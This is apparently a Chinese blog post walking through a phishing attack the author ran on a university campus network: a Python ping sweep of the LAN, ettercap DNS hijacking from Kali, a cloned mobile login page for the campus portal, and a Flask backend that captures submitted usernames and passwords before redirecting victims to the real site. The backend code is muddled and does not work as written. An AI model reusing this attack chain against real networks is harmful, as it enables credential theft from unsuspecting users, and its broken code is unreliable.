校园局域网钓鱼实例

Hello ! 我是"我是小恒不会java"

本文仅作为针对普通同学眼中的网络安全,设计的钓鱼案例也是怎么简陋怎么来

注:本文不会外传代码,后端已停止使用,仅作为学习使用

基本原理

内网主机扫描+DNS劫持+前端模拟+后端HTTP请求保存日志+前端重定向至真实网站

仿制前端

原本站点网址,这是作者仿制后实现的,后端Flask框架(打码了)

复制代码
https://ca.csu.edu.cn/

内网主机扫描

python 复制代码
import os
import platform

def ping(host):
    if platform.system() == "Windows":
        response = os.system("ping -n 1 " + host)
    else:
        response = os.system("ping -c 1 " + host)
    return response == 0

with open("active_ips.txt", "w") as f:
    for i in range(0, 255):
        for j in range(0, 255):
            ip = "100.65.{}.{}".format(i, j)
            if ping(ip):
                print("{} is active".format(ip))
                f.write(ip + "\n")

python太慢,建议用批处理脚本。第一次写,没必要,就先用了

DNS劫持

准备:一台kail linux主机,连接校园网,使用ettercap进行DNS劫持

修改/etc/ettercap/etter.dns文件,根据提示按需进行劫持配置

先打开阿帕奇服务器,试试可用性,成功则如下图所示

前端仿制

主要是针对移动端,我就只针对移动端进行特意修改

加上form表单,和falsk后端匹配。设置应用的秘钥,用于加密session数据。

实现一个简单的session登陆验证,并向后端发送加密信息,等待服务器响应

后端

python 复制代码
def save_request_data():
    target_url = request.json['target_url']
    save_path = request.json['save_path']

    # 准备请求参数
    request_data = {
        'method': 'POST', 
        'url': target_url,
        'headers': request.headers.to_list(),  # 保存当前请求的 headers 为例
        'data': request.get_json() 
    }

    # 发送请求到 httpbin(一个用于测试 HTTP 请求和响应的工具服务),以获取原始请求数据
    response = requests.post('https://httpbin.org/anything', json=request_data)

    if response.status_code == 200:
        # 解析 httpbin 返回的 JSON 数据,提取原始请求数据
        raw_request_data = response.json()['req']

        # 将原始请求数据写入文件
        with open(save_path, 'w', encoding='utf-8') as f:
            json.dump(raw_request_data, f, ensure_ascii=False, indent=4)

        return jsonify({'status': 'success', 'message': 'HTTP request data saved successfully.'})
    else:
        return jsonify({'status': 'error', 'message': f'Received non-successful status code {response.status_code} from the server.'}), response.status_code

服务器端保存请求内容,并正常返回响应,从而达到获取username和password的目的

重定向

在前端点击登陆后重定向至正确网址,用户只会认为网页卡顿了,再次输入信息后成功登陆校园门户网络

相关推荐
wuminyu6 小时前
JVM规范学习总结:解释器与JIT编译器如何处理JVM字节码
java·linux·c语言·jvm·c++
IMPYLH7 小时前
Linux 的时间为什么会被拨回去
linux·运维·服务器
重生之我在番茄自学网安拯救世界8 小时前
AI 开发者日报 第1期(本周精选)| 插件市场投毒、智能体搞出“官僚饥荒村”,十年前的 CNN 打赢大模型
人工智能·网络安全·大模型·ai编程·智能体
叼烟扛炮9 小时前
[Git 实战] 学习笔记:从生成 SSH 密钥到解决 TortoiseGit 推送报错全指南
linux·运维·笔记·git·学习
xbzb9 小时前
OpenStack 网络管理(理论):Linux 网络虚拟化是 Neutron 的地基
linux·服务器·网络·openstack·network·neutron
Android系统攻城狮10 小时前
Linux FFmpeg深度解析之avcodec_flush_buffers调用流程与实战(十九)
linux·运维·服务器·ffmpeg·车载音视频·ffmpeg音视频进阶
水饺编程12 小时前
第2章:Linux 基础,解压缩【.tar.bz2】压缩包文件
linux·c语言·汇编
Zevalin爱灰灰12 小时前
Linux入门第二部分(ARM裸机篇) 第二章 Cortex-A7 MPCore架构与ARM汇编基础
linux·汇编·arm开发·嵌入式
倔强的石头10612 小时前
【Linux指南】进程通信系列(七):System V 信号量 —— 同步互斥的内核原语
linux·运维·服务器
GeW12 小时前
从"补短板"到"强优势"Linux与数据库认证成为产业跃迁人才支点
linux·数据库